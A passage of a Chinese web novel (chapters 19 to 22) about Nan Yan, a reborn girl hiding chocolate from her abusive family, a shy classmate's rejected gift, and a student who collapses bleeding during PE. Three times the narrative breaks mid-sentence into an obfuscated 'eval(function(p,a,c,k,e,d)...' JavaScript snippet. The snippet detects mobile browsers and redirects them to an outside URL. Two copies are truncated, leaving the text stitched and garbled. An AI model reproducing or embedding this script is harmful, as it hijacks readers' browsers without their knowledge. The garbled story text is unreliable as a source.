她趴在冰冷的雪地上,冻得四肢麻木,连弯曲手指都变得无比艰难。 她趴在门外,听着屋里传来南玉吃巧克力的咔擦声,听着包兰芝哄南玉“明天再给你买”,忽然心就被这漫天大雪给冻住了,一点一点变成冰雕,然后被人毫不留情地砸得粉碎。 19. 狗鼻子 后半夜,雪势渐弱,从狂暴的撕扯变成了阴冷的絮语,她才挣扎着爬起来。 矿区的招待所还亮着灯,她勉强撑着一口气挪到办公室。 门没锁,里面空无一人,只有两把扶手椅,她拼在一起当床,又去外面捡了几块硬纸板盖在身上。 风从窗户的缝隙里钻进来,发出尖锐的呜咽。 她蜷在纸板下,牙齿不受控制地剧烈磕碰,身上的伤处,随着心跳而抽痛,无情地提醒着她被至亲抛弃在冰天雪地里的现实。 可眼眶是干的,涩得发疼,像是连泪腺都被那极致的寒冷彻底冻僵,再也榨不出一滴温热的水分。 多么可笑。 即便到了这般田地,她心底竟还残存着一丝微弱到可悲的幻想——也许天亮了,包兰芝的气消了,想起她这个女儿,总会来找她的吧? 毕竟……她是她的“妈”啊。 然而,天光并未带来救赎,反而带来了更厚重的大雪,无声无息,铺天盖地吞噬了招待所的门槛,也彻底掩埋了她心底那点摇摇欲坠,名为“亲情”的微光。 世界白茫茫一片,干净得近乎残酷,仿佛急于将她这个“错误”,从这片土地上彻底擦拭干净。 “发什么呆!魂让鬼叼去了?!” 包兰芝炸雷般的嗓音劈头盖脸砸来,将南雁从冰冷刺骨的记忆深渊里拽回现实。 她端着沉重搪瓷盆的手不受控制地一抖,粗糙的盆边狠狠硌在指腹上,尖锐的痛感反而像一盆冰水,浇醒了她混沌的脑子。 她迅速垂下眼睫,将所有翻涌的恨意、屈辱和深入骨髓的恐惧,死死摁回心底最阴暗的角落。 再抬眼时,脸上静得像一潭死水:“没发呆。在算,和多少面才够爸和哥带下井。” “这还用算?往多了和!下井是卖力气的活,吃不饱哪行?别整天一副抠抠搜搜的穷酸相,像谁短了你吃食似的!”包兰芝叉着腰,唾沫星子几乎要溅到南雁脸上,那双三角眼在她身上逡巡着。 南雁不再吭声,沉默地拿起水瓢,舀起冰凉的井水,缓缓倒入面盆。 刺骨的寒意顺着指尖瞬间窜遍全身,冻得她指节发麻,她很享受着这种尖锐的麻木。 因为只有这种冷,才能暂时压制住她心口那团烧得她五脏六腑都在灼痛的业火。 她抓起粗糙的黑面粉,一把把撒进水里,白中带灰的粉末落在水面上,积起薄薄一层,像极了前世那场埋了她半条命的大雪。 南雁猛地将手插进面盆,发狠地揉搓起来。 手腕、胳膊、全身的力气都灌进去,不甘、愤懑、绝望,还有那几乎要破膛而出的恐惧……所有不能言说的情绪,都被她狠狠地揉进这团越来越韧的面里。 前世的那个雪夜,太冷了。 冷到灵魂都在颤栗。即使重活一次,拥有了温暖的躯壳,每当回忆起那被积雪包裹的窒息感,回忆起生命力如何被彻骨的寒冷一丝丝抽离殆尽,她仍会抑制不住地浑身发冷,胃部痉挛。 那种被至亲之人像丢弃垃圾一样扔在门外,任其自生自灭的绝望,比身体的疼痛更甚千倍万倍。 不知过了多久,面团在反复的捶打揉捏下渐渐变得光滑、富有弹性。 南雁的呼吸也随着动作的放缓而逐渐平复,只是胸口依旧堵得厉害。 她将揉好的面盆盖上打湿的粗麻布,搬到灶台边仅存的一点余温处,等待着发酵。 屋外传来南玉的哭闹声,夹杂着包兰芝的呵斥,还有南春偶尔顶一句嘴的脆响,这些声响像根绳子,牢牢拴着她,提醒她这一世的日子,依旧不好过。 南雁走到水缸边,又舀了瓢水,慢慢冲洗着手上黏腻的面粉。 冰凉的水流冲刷着指缝,也让她混乱的思绪逐渐清晰。 这一世,终究是不同了。 她回来了,带着前世的记忆,带着刻骨的教训,也带着……一丝微弱而真实存在的变数。 谢承景。 这个前世从未出现过的少年,像一颗投入死水里的石子,在她既定命运的湖面上,漾开了一圈小小的涟漪。 他那双带着异域风情的眼眸里的真诚,那盒包装精美、味道奇特的巧克力,还有他“孤独”时,与她隐隐共鸣的神情……都让她感到一种陌生的悸动。 可这悸动对她而言,并非甘霖,而是更深的警钟。 他为何会出现在这里?他的出现意味着什么?是命运终于肯垂怜一丝的补偿,还是另一场更大风暴降临前,迷惑她的假象? 南雁擦干手,目光不经意间扫过柴房的方向。 那盒被她藏在砖缝深处的巧克力,此刻像一个甜蜜又危险的潘多拉魔盒,无声地灼烧着她的理智。 南玉的鼻子比狗还灵,包兰芝的眼睛更是时时刻刻盯在她身上,就等着抓她的错处,好名正言顺地断了她读书的念想。 她必须比前世更加谨慎,更加隐忍,把自己真正的心思藏得更深。 一步踏错,脚下便是万劫不复的深渊。 “面发上了没?磨磨蹭蹭的,属蜗牛的?”包兰芝不耐烦的催促声再次炸响,伴随着沉重的脚步声逼近厨房门口。 南雁立刻收敛所有外泄的心神,应道:“发上了。” 她转身开始准备其他的,洗菜,切菜,动作麻利,看不出丝毫异样。 …… 晚饭时的饭桌,气氛一如既往的沉闷。只有咀嚼声、碗筷碰撞的轻响,以及包兰芝永不停歇的絮叨。 她唾沫横飞,话题从东家长跳到西家短,一会儿酸溜溜地讥讽张家媳妇又显摆新头巾,一会儿又咬牙切齿地咒骂李家小子手脚不干净,偷了她家晾在院子里的几根萝卜干。 南玉和南春为了争夺碗里仅有的几片油光肥腻的肉片,几乎在桌上展开全武行,筷子在空中激烈交锋,甩出的油点溅到了对面南雁的手背上,留下一点黏腻的凉。 南秉义终于被这吵闹惹烦,把手里粗瓷碗往桌面上重重一磕:“吃个饭都不安生!再闹都给老子滚出去喝西北风!” 南雁默默收回手,用袖口擦掉那点油渍,继续低头,小口小口地扒拉着碗里糙得割喉咙的米饭。 她没去参与那场关于肉片的争夺。 因为她太清楚了,就算侥幸抢到,包兰芝那刀子似的目光也会立刻剜过来,用“姑娘家没吃相”、“不晓得让着弟弟妹妹”的罪名,将她钉在耻辱柱上,最后,那肉片会落入南天贵或者南峰的碗底。 饭后,南秉义和南天贵带上干粮,又匆匆出门下井。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大姐!你身上还有那股味儿!甜丝丝的,根本不像刘小萍给的水果糖!你到底偷藏了什么好东西?快交出来!” 南雁的心一紧,握着笔的手指微微用力。她抬起头,面无表情地看着南玉:“说了是刘小萍给的糖,早就吃完了。你闻错了。” “不可能!”南玉笃定地尖叫,眼睛像探照灯一样在她周身和简陋的书桌上疯狂扫视,“就是有!比水果糖香多了!你肯定藏起来了!不交出来,我就自己找!” 说着,她竟真的动手,蛮横地去拉南雁书桌的抽屉。 “你干什么!”南雁按住抽屉,气势是从未有过的凌厉,竟真把南玉镇住了。 南雁很少这样疾言厉色地反抗。 以往,就算心爱的东西被抢,她也多是默默忍下,至多不过红一红眼眶。 可这次不同,抽屉里虽然没有巧克力,却放着她用捡废品、卖鸡蛋、考试得了第一名的奖励,一点点攒钱买来的几个新本子。 那是她仅有的属于她自己的“财产”,是她在贫瘠精神世界里开垦出的小小绿洲。 若是被南玉发现,定然会不管不顾地抢去,撕掉画她的丑娃娃,或者据为己有。 20. 破天荒 南玉被她的反应吓了一跳,随即恼羞成怒,尖声道:“你的东西?这破屋里哪样东西刻着你的名字了?!你吃的米、穿的布,哪一寸不是爹妈挣来的!藏了好吃的不拿出来分,就是自私自利!就是偷!你从小就是个心术不正的坏胚子!扫把星!” 南玉的哭声穿透力极强,很快就引来了堂屋的包兰芝。 “又嚎什么丧?!一天到晚鸡飞狗跳,存心不让我多活两天是不是?!”包兰芝沉着脸站在门口,阴沉的目光在姐妹两人之间扫了个来回,最终,定格在南雁那只依旧紧紧按着抽屉的手上。 “妈——!”南玉像是找到了靠山,立刻扑过去,指着南雁告状,“大姐她肯定藏了好东西!她身上有股怪好闻的甜味儿,根本不是水果糖!她还不让我看抽屉!她心里有鬼!她肯定是偷藏了!” 包兰芝的眼神瞬间变得锐利起来,她盯着南雁,语气不善:“你又作什么妖?藏了什么见不得光的东西?给我打开!” 那一瞬间,南雁仿佛又被拖回了前世的那个雪夜。 冰冷的空气,不分青红皂白的指责,围观者或冷漠或嘲弄的目光,以及那种被全世界抛弃、彻骨的寒意再次将她包裹。 她看着包兰芝那张不容置疑的脸,看着南玉眼里得意的挑衅,心脏在胸腔里疯狂跳动,撞得肋骨生疼。 不能慌。绝对不能慌。 南雁深吸一口气,强迫自己冷静下来。她知道包兰芝的软肋——好面子。 若是让左邻右舍知道,她包兰芝的女儿为了一块不知真假的糖,在家里闹得人仰马翻,她定会觉得颜面扫地,比割她的肉还难受。 南雁抬起头,努力让目光显得坦荡,又带着点被冤屈的屈辱,直直迎上包兰芝的视线:“妈,我真没藏见不得人的东西。昨天放学,刘小萍追上来问我几道数学题,说是她爸要检查作业,她要是答不上来就得挨揍。” “我给她讲了半个钟头,她过意不去,硬塞给我一块带夹心的水果糖当谢礼。许是那糖的味儿太甜,让南玉闻着了。可糖就一块,我当时就吃了,南玉非要,我实在拿不出来,她就闹起来了。” 包兰芝脸上的戾气稍微收敛了一点,但眼神里的怀疑并未完全散去。 “刘小萍给你糖?”她狐疑地重复了一遍。 “嗯,”南雁趁热打铁,语气里带上了一丝恰到好处的委屈,眼眶微微泛红,“妈,你要是不信,咱现在就去刘小萍家问。可话又说回来,糖就一块,我已经吃进肚子里了,要是为这事闹到人家家里,让街坊邻居知道咱家姐妹俩为块糖吵翻天,人家得怎么议论咱家?说您偏心眼,还是说我这当大姐的小气?” 她说着,作势就要拉开抽屉。 抽屉里除了那几个她视若珍宝的新本子和钢笔,空空如也。 她不怕她们看,反而怕她们不看,怕包兰芝一直揪着这“莫须有”的罪名不放,引来更严苛的搜查,那藏在柴房砖缝里的秘密,就真的危险了。 包兰芝死死盯着她的动作,眼神闪烁不定,她固然偏心南玉,但更看重自己在外人面前的“脸面”。 俗话说,“家丑不可外扬”。尤其是这种上不得台面的争执。 要是真闹到刘小萍家,让人知道她包兰芝连块糖都管不住,让女儿们争抢,这脸可就丢大了! 往后她还怎么在矿区家属院里抬头挺胸地跟人闲扯?那些长舌妇的唾沫星子都能淹死她! 她沉默了几秒,心里飞快地盘算着,最后不耐烦地摆了摆手:“行了!一块破糖,也值得你们姐妹俩吵成这样?没出息的东西!” 她转头,恶狠狠地瞪向还在抽噎的南玉,“南玉!给你老娘闭嘴!再嚎一声,我立马把你扔出去跟那俩瘟鸡做伴!滚去睡觉!” 南玉没想到母亲这次居然没站在自己这边,愣了一下,随即跺着脚不依:“妈!她骗人!那根本不是普通水果糖的味儿!是那种特别香的甜,跟供销社卖的奶糖都不一样!我闻得出来!她肯定藏了好东西!” “我让你闭嘴!耳朵聋了?!”包兰芝心烦意乱到了极点,扬手一巴掌重重拍在南玉的后背上,打得南玉猛地一个趔趄,差点栽倒在地,“再敢多放一个屁,今晚你就睡鸡窝!跟老母鸡抱团取暖去!” 南玉难以置信地瞪大了眼睛,还想再争辩,却被包兰芝凌厉的眼神瞪了回去。 她委屈地扁着嘴,狠狠剜了南雁一眼,不甘心地爬上炕,钻进被窝里,还故意把被子扯得“哗啦”响,以此宣泄着不满。 包兰芝又瞥了南雁一眼,目光在她依旧虚按在抽屉上的手上停留了一瞬,终究没再说什么,转身离开了房间。 门“砰”地一声关上,房间里终于恢复了安静。 南雁保持着要开抽屉的姿势,僵在原地,直到包兰芝的脚步声彻底消失在屋外。 南玉在被窝里发出的赌气哼唧声也渐渐小了下去,她才缓缓松了手,嘴角扯出个自嘲的弧度。 好险,差一点,她就要暴露了。 南玉这鼻子真是属狗的,隔了这么久,竟然还能闻出味来。 她扶着桌沿,慢慢坐回椅子上,全身的力气像被抽空,后背已经被冷汗浸湿,贴在身上冰凉。 心脏还在狂跳,带着劫后余生的虚脱感。 仅仅应付这么一次突然发难,就让她如同打了一场硬仗,身心俱疲。 南雁走到窗边,小心翼翼地推开一条小缝,寒冷的夜风立刻灌了进来,吹散了她身上可能残留的巧克力香气。 她贪婪地呼吸着这冷冽干净的空气,试图平息内心的惊涛骇浪。 远处,传来火车的汽笛声,悠长而苍凉,划过沉沉的夜幕。 南雁的目光不由自主地再次投向谢承景家所在的那个方向。 此刻,谢承景在做什么呢?是不是也在灯下学习?是不是也在为了未来努力? ……算了。他在做什么,与她何干? 南雁用力关上窗户。 她和谢承景,本来就是两个世界的人。 他的家人是矿上的技术人员、工程师,住在干净明亮的家属楼,有父母疼,有好的学习条件;而她,只是个在矿区挣扎求生的“孤女”,连几块巧克力都要藏着掖着,生怕引来灭顶之灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他垂下眼睫,浓密卷曲的睫毛在眼睑下投出小片不安的阴影,试图遮住眼底那点心虚。 可那无处安放的眼神和越来越红的耳朵,却将他少年人拙劣的掩饰暴露无遗。 外婆何等精明,活了六十多年,什么心思没见过? 她把粥碗往他面前一放,筷子拍在桌上,刚想追问,饭桌对面却传来一声轻响。 一直沉默喝着稀饭的外公抬起眼皮。 老人眼神虽有些浑浊,目光却像经年探入地底的矿灯,在谢承景脸上停顿两秒,没戳破,只放下碗,拿起手边那条厚实的毛线围巾,不由分说地往他脖子上绕了两圈,动作温柔而不容拒绝。 “雾大,裹严实,别仗着年轻就逞强,把耳朵冻掉了,矿上可没处给你配。” 谢承景如蒙大赦,含糊地应了声,几乎是逃也似的,一头扎进了门外那片浓得化不开的晨雾里。 矿区里只有零星几家早点铺子亮着昏黄的灯,像困兽惺忪的睡眼。 蒸笼里冒出的白气奋不顾身地融入雾中,连带着油条和豆浆那点可怜的香气,都被湿冷黏稠的空气吞没、消解。 21. 送不去的铁盒 谢承景觉得,自己这辈子都没走过这么漫长又艰难的路。 起初几步还带着点虚张声势的急促,鞋底刮过结冰的路面,“喀嚓”作响。 可那扇锈迹斑斑的校门越近,他的脚步就越是沉滞,仿佛冻土之下伸出无数无形的手,死死拖拽着他的脚踝,要将他钉在原地。 最终,他还是在那棵老槐树下泄了气,背脊抵上粗糙皲裂的树皮。 这老槐树是矿区的活化石,年头比矿区的建立还要久远。 寒冬早已剥尽了它曾经蓊郁的华盖,只剩下乌黑扭曲的枝干,倔强而狰狞地刺向灰霾的天空,盘根错节,像一只压抑着无声怒吼的巨掌,蓄势待发。 树皮上刻满了历届学生的名字,歪歪扭扭,经年累月,成了深褐色的疤痕,记录着无数无疾而终的念想。 冰冷的寒意穿透厚实的羽绒服,直往骨头缝里钻。 谢承景把手揣在衣兜里,紧紧攥着那个方形的铁盒子。 里面装着叔叔从A国带回来的“松露”巧克力,包装上的外文字母花哨得扎眼。 冰凉的金属外壳早已被他手心的汗浸得温热濡湿,尖锐的边角深深硌进掌心肌肤,带来细微的刺痛。 但这痛,远不及他心口的撞击。 那一下下,沉重而迅疾,仿佛濒死的困兽在胸腔里徒劳冲撞,要撞碎一切桎梏逃出去。 他在心里把预备好的说辞翻来覆去地咀嚼,嘴唇抿了又抿,几乎要抿出血来。 “早啊,南雁。”——太刻意,活像专门蹲点的流氓,他自己先起了一层鸡皮疙瘩,赶紧把这念头掐灭。 “昨天的巧克力,甜吗?合口味吗?”——蠢透了,万一她说腻呢?或是干脆忘了收过巧克力这回事?那脸就丢大了。 要不,就假装偶遇,漫不经心地塞过去,配上句“我叔买的,甜得齁人,帮忙消化点”?——似乎……稍微自然点?但这控制不住发颤的手怎么掩饰?万一动作笨拙,铁盒“哐当”掉地,岂不是更狼狈? 谢承景平日里那点强撑的从容,此刻荡然无存。 他甚至能听见自己牙关轻微打颤的声音,在这零下的气温里,泄露着所有不堪一击的伪装。 薄雾渐散,学生们像被惊扰的蚁群,从矿区纵横交错的巷道里涌出。 杂沓的脚步声,呵气成白的喘息,零星的交谈和缺乏热度的笑闹,混成一片混沌的背景音。 许多目光,好奇的、探究的、直白的、躲闪的,或轻或重地落在了槐树下那个过于醒目的身影上。 谢承景今天穿了件崭新的黑色羽绒服,款式是矿区少见的,衬得他身形挺拔,本就偏白的皮肤更是显眼。 “欸,看那边,”压低的议论声顺着冷风,断断续续地飘过来,“那个‘洋娃娃’,大清早杵那儿喝西北风呢?” “等人吧?瞧那望眼欲穿的劲儿,跟块‘望妻石’似的。” “等谁?咱这破矿校,谁能劳动他谢公子大驾?八成是等筒子楼那边儿的,跟他一路的‘干部子弟’呗。” 谢承景下颌线绷紧,别开脸,假装研究树皮上深刻的纹路。 可他的目光却不受控制地,一遍遍扫向那条从红砖房区蜿蜒而来的泥泞小路。 他的心,就悬在那条路的尽头。 每一个从那个方向走来的身影,都让他的心高高提起,又在辨认出不是期待中的人后,猛地沉落下去。 期待与失望,像井下的升降机,在这寒冷的清晨反复起落,碾磨着他早已紧绷的神经,消耗着所剩无几的勇气。 “哟!这不是咱们的谢大公子吗?今儿怎么有兴致在校门口当起门神了?” 几个穿着臃肿旧棉袄、勾肩搭背的男生晃了过来,像一堵移动的墙。 他们是矿上老工人的子弟,从小在矿区的尘土里摸爬滚打,身上带着股未经打磨的粗粝劲儿。 看见谢承景,几人不约而同地停下脚步,脸上混合着毫不掩饰的戏谑和排斥。 他们讨厌谢承景那身干净的行头和格格不入的斯文模样。 为首那个叫王茫,个头高大壮实,他直勾勾地盯着谢承景:“怎么,在等你的小相好啊?” 谢承景抿紧了嘴唇,像是没听见,目光依然固执地投向那条小路深处。 他不想跟这些人起冲突。 来外婆家之前,父母反复叮嘱过,要友善邻里,真诚待人,能避则避。 “啧,人家是‘国际友人’,跟咱们能一样吗?”旁边一个瘦高个阴阳怪气地接话,目光像带着倒刺的钩子,在谢承景那件扎眼的羽绒服上反复刮擦,“瞧这行头,这派头,啧啧,是从国外捎来的高级货吧?咱们这些矿上刨食的,祖辈三代攒的钱,怕也买不起这一身吧?穿着这身往这儿一站,跟拍电影似的,演哪出啊?《矿区王子历险记》?” 话音未落,一阵干瘪的哄笑声响起。 谢承景面无表情地扫过那几个哄笑的男生,依旧沉默。 王茫自觉没趣,朝谢承景脚边啐了一口并不存在的唾沫,嗤笑一声,那笑声里带着点被无视的恼羞成怒,随后带着人悻悻地涌进了校门,临走前还不忘回头狠狠瞪他一眼。 雾气终于散尽,稀薄的阳光挣扎着穿透厚重的云层,在老槐树乌黑的枝桠间投下斑驳破碎的光影。 上学的人流渐渐稀疏,校门口变得冷清,像退潮后裸露的滩涂。 谢承景的心,也随着那份喧闹的远去,一点点沉下去,沉进冰冷的淤泥里。 他是不是来晚了?错过了?还是南雁今天根本就不会从这条路走? 无数个猜测像井下的瓦斯,在他心里悄然聚集。 就在他几乎要被这绝望彻底淹没,准备转身离开这自取其辱的等待时,一个熟悉的身影,如同破开迷雾的帆影,终于出现在了那条小路的尽头。 是南雁。 她穿着一件半旧的红色棉袄,颜色洗得有些发白,袖口缝着一圈深色的补丁,但收拾得干干净净。 肩上挎着那个发旧的军绿色书包,带子上还缝着几针明显的线脚,鼓鼓囊囊的,随着她沉稳的步伐有节奏地轻轻晃动。 她走得不快,微微低着头,额前细碎的刘海遮住了部分眉眼,像是在专注地思考着什么,又像是早已习惯了这路的坎坷与污浊,每一步都走得认真而用力,踩碎了地上的薄冰,留下一个个清晰的脚印。 谢承景的心脏剧烈地抽搐了一下,仿佛下一秒就要撞破胸腔,带着滚烫的血,迸溅到这冰冷的地面上。 所有的犹豫、胆怯、自我否定,在这一刻都被那股汹涌而来的热流冲散、卷走。 他下意识地挺直了原本微驼的背脊,像是接受命运检阅的士兵,手在口袋里把那个铁盒攥得死紧。 南雁走近了,直到距离几步之遥,似乎才察觉到树下有人,才感受到那束过于灼热的目光。 她抬起头,目光与谢承景相遇的瞬间,明显地愣了一下,脚步微顿,握着书包带子的手指无意识地收紧。 她的眼睛很大,瞳仁是纯粹的墨黑,在渐渐明亮的晨光中,像两丸被深井寒水 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谢承景搜肠刮肚,却找不到任何可以接续的话题。他像个蹩脚的演员,忘光了所有台词,只能尴尬地站在原地,任由沉默将他无声地凌迟。 南雁侧头望了眼已不再拥挤的校门,催促道:“你不进去吗?要打铃了。” “进,这就进。”谢承景连忙应声,心脏却在胸腔里疯狂地擂鼓、叫嚣,声音大得他怀疑南雁也能听见——机会稍纵即逝,谢承景,你还在等什么? 他几乎是凭着身体的本能,从口袋里掏出那个被体温焐得滚烫的铁盒,动作快得扯歪了书包带,整个人显得狼狈又慌乱:“这个……给你。” 南雁的目光落在那印着陌生文字,样式精致的铁盒上,没有接。她眉梢蓦地一蹙:“这是什么?” “也是巧克力,不一样的口味。”谢承景强作镇定,声音却泄露了细微的颤抖,“我叔叔塞给我的,实在太多,我一个人吃不完。” 南雁的视线在铁盒与他微微发抖的手之间停留了一瞬,那双清凌凌的眼里,掠过一抹难以捕捉的复杂。 “谢谢,但这太贵重了,我不能收。” “不贵!真的,就是普通巧克力!”谢承景急了,手悬在半空,进退两难,“你尝尝看,不喜欢再还我也行……” 南雁看着他固执举着的手,又看向他那双写满恳切与不安的眼睛,静默了几秒。 那几秒,对谢承景而言,漫长得如同被冻结的时光。 最终,南雁还是摇了摇头,语气里覆上一层薄霜:“昨天的,已经谢过了。这个,你自己留着。”她顿了顿,目光在他过于扎眼的羽绒服上一掠而过,“别辜负你叔叔的心意。” 说完,她不再给他任何开口的机会,侧身从他旁边绕过,加快脚步,头也不回地走向教学楼。 那抹洗得发白的红色,决绝地汇入稀疏的人流,消失在楼梯拐角浓重的阴影里。 谢承景满腔孤勇筑起的堡垒,像被掺着冰碴的冷水兜头浇灭,只剩下一片狼藉的冰冷与空洞。 他愣在原地,手里死死攥着那个送不出去的铁盒。 金属的冰冷此刻才迟来地透过皮肤,一点点渗入血液,冻僵了指尖,冻麻了整条手臂。 他看着那空无一人的拐角,喉结艰难地上下滚动了一下。 失落、难堪、挫败……如同冰冷的地下暗流,从四面八方涌来,将他彻底吞噬,封冻。 “南雁!” 22. 晕倒 谢承景回过神,几乎是身体先于意识追了上去,三两步赶到南雁身边,与她并排走着,中间隔着一段礼貌的距离。 “那个……下个月的数学竞赛,你准备得怎么样了?” “还在看。”南雁的脚步没有停,目视前方。 “我……我有些从国外带回来的复习资料,感觉思路挺新的,有些例题也挺典型。你要是需要……我们可以一起复习。互相讨论,效率……可能能高一点。” 南雁终于转过脸,目光沉静地落在他脸上:“谢谢,但我觉得可能不太适合我。” 教学楼的大门像一道界限,跨进去,喧嚣的热浪便扑面而来。 嘈杂的人声、粉笔灰与早餐混杂的气味,瞬间淹没了室外清冷的空气。 走廊、教室里挤满了人。追逐的身影,聚堆的谈笑,埋首疾书的背影。 无数道目光像被磁石吸引,齐刷刷地钉在他们两人身上。 “快看,南雁居然跟那个谢承景走在一起?” “她怎么会认识他?八竿子打不着啊!” “人家是同桌呀!” “切!这还用问?瞧那洋鬼子那眼神,肯定是看上南雁了呗!” “癞蛤蟆想吃天鹅肉?也不看看自己哪儿来的……” “谁沾上他谁倒霉,南雁也躲不过?” “嘘!小声点!不过南雁怎么会搭理他?” 议论声,像一群嗡嗡作响的蚊蝇,无孔不入地钻进耳朵。 南雁的眉头蹙得更紧了,她加快了脚步,不动声色地再次与谢承景拉开了更远的距离。 快到教室门口时,南雁偏过头,用低得几乎只有两人能听见的声音,飞快地说了一句:“快打铃了,走吧。” 话音未落,门已被她推开。 她侧身融入教室的光影里,将谢承景,连同门外所有粘稠的探究与低语,干脆地隔绝在外。 谢承景僵在走廊明晃晃的灯光下,手里那个始终没送出的铁盒,沉甸甸地坠着,一直坠进冰冷的底里。 周遭所有的喧闹,在这一刻,戛然而止。 * 深秋的午后,阳光像融化的蜂蜜,懒洋洋地淌在教学楼的红砖墙上。 操场上的寂静被尖锐的哨声划破。 体育老师老张叉着腰站在跑道外侧,军绿色外套衣角被风掀得翻飞。 他目光扫过跑道上一张张挂着薄汗的脸,喊道:“坚持住!还有两圈!跑齐了!别跟没骨头似的!” 队伍像一条垂死的蚯蚓,在跑道上痛苦地蠕动。 学生们裹着各式各样的运动服,脚步声杂七杂八,在跑道上碾出细碎的响动,混着风里的桂花香,竟有种说不出的慌乱。 队伍的末尾,一个瘦弱的身影渐渐落后。 林菲的呼吸越来越急促,墨绿色的运动装在她身上空荡荡地挂着,仿佛一阵风就能将她连根拔起。 苍白的脸上沁出细密的冷汗,顺着鬓角滑落,在下颌处汇成水珠,滴落在衣领上。 每迈出一步,小腹都像是被钝器重击,一阵阵撕裂的痛楚搅得她胃里翻江倒海,恶心感直往喉咙口冒。 “你没事吧?”南雁从旁边靠过来,看见林菲的脸色不太好,眼神也有些散,连忙放慢脚步,“要不跟老师说一声,先去旁边歇会?” 林菲勉强摇了摇头,下唇被牙齿咬出一道红印,渗出血丝也没松口。 她想把步子迈得大些,可腿像灌了铅,每一次抬起都像要耗光全身力气。 她的视线开始模糊,跑道的颜色在她眼中渐渐褪成一片灰白。 就在她感觉自己即将瘫软在地时,教学楼方向突然传来一阵急促的脚步声。 班主任李青几乎是狂奔而来,藏青色的围巾歪斜地挂在脖子上,精心打理过的短发被风吹得凌乱不堪。 她手里紧紧攥着一个牛皮纸文件夹,面色凝重地朝着张建军招手。 张建军眉头紧锁,看了眼还在艰难前进的队伍,转头冲着体育委员吼道:“王磊!你带队继续跑!保持队形,不许停!谁敢停一步,今天加练五圈!” 两人走到操场边的香樟树下,树荫把阳光滤成碎斑,落在李青手里的表格上。 “怎么回事?”张建军压低声音问道。 “张老师,有个事得跟你说……”李青刚抽出表格,还没来得及展开,跑道那边突然炸起一声惊叫:“老师!有人晕倒了!” 原本松散的队伍瞬间乱了。 学生们涌过去,围成个密不透风的圈,七嘴八舌的声音裹着慌乱响起:“是林菲!” “她怎么倒了?” “脸好白啊!” “刚才还好好的,怎么突然就晕了?” 张建军拨开人群冲过去,军绿色外套被人扯得歪到一边也没顾上,膝盖“咚”地砸在跑道上,蹭出一道灰印,疼得他龇牙咧嘴,都没功夫去揉。 他蹲下身,目光落在林菲的裤子上,心猛地一沉。 林菲双目紧闭,墨绿色的运动裤上,一片暗色正以肉眼可见的速度晕开,像朵狰狞的花,盛开在绿草丛中。 “都让开!别围着!喘不上气了!”张建军声音发紧,伸手轻轻拍打林菲的脸颊,指腹触到她的皮肤,凉得像块冰。 “林菲?能听见吗?林菲!”他喊了两声,女孩没任何反应,嘴唇抿成条苍白的线,连呼吸都弱得几乎感觉不到。 张建军没再犹豫,一手托着林菲的肩,一手揽住她的膝弯,打横抱起来就往医务室跑。 林菲太轻了,抱在怀里像片羽毛,张建军甚至能摸到她突出的脊椎骨,硌得他胳膊疼。 风灌进张建军的衣领,带着深秋的寒意,可他额头上的汗却越冒越多,顺着脸颊往下滴。 李青紧随其后,她一边跑一边冲围观的学生喊:“都回教室!体育委员把队伍带回去!谁再在这围着,明天罚抄校规十遍!” 她的声音有点抖,不是怕,是慌——林菲这孩子,平时话不多,总是安安静静地坐在教室角落,作业写得工工整整,连标点符号都透着认真,成绩在班里中游,不惹事,不显眼,怎么会突然这样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560575|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生们愣了愣,慢慢散开,南雁回头望了眼张建军跑远的方向,那片暗红在视线里越来越小,却像根刺,扎得她眼睛发涩。 医务室的门被撞开,校医王姐正在整理药柜,听见动静抬头,手里的药瓶差点掉在地上。 她看见张建军抱着个人冲进来,连忙放下手里的东西迎上去:“怎么了这是?” “王医生!快看看她!”张建军把林菲放在检查床上。 王姐迅速拉上隔帘,动作利落地掀开林菲的外套,当看到运动裤上的暗红时,她的眉头瞬间皱紧,手指搭在林菲的腕上,又俯身用手电筒照了照她的瞳孔,声音沉下来:“什么时候开始的?晕倒前有什么症状?” “就刚才,跑步的时候突然晕倒。”李青喘着气进来,额头上全是汗,她看着白色隔帘后的林菲,心里揪得慌。 她突然想起林菲最近总是趴在桌上,课间也不出去,问她是不是不舒服,只摇摇头说没事;吃饭的时候也总是扒拉两口就放下筷子,说没胃口;有时上课会走神,眼神飘向窗外,她还以为是学习压力大,没当回事——现在想来,那些都是信号啊。 王姐解开林菲的运动裤,手指在那片暗红边缘轻轻碰了碰,又用棉签蘸了点,放在灯下看了看。 她的脸色突然变得凝重,直起身转向李青,低问:“知道她月经时间吗?最近来了没有?” 李青一愣,没反应过来:“啥意思?” 王姐没直接回答,而是走到门口,把还在探头探脑的张建军赶了出去:“张老师,你去操场盯着学生,这里不用你帮忙。” 等张建军走了,她才转过身,看着李青错愕的表情,慎重地说:“她的出血量不像是来月经,但我也不敢确定,为了保险起见还是通知家长送卫生所。” 她顿了顿,伸手从抽屉里拿出无菌纱布和止血棉,“我打电话叫人,李老师,你赶紧联系她家长,越快越好。” 李青眼睛瞪得圆圆的,嘴张了张,半天没说出话来:“啥意思?这不可能啊!她才十三岁!还是个孩子!” 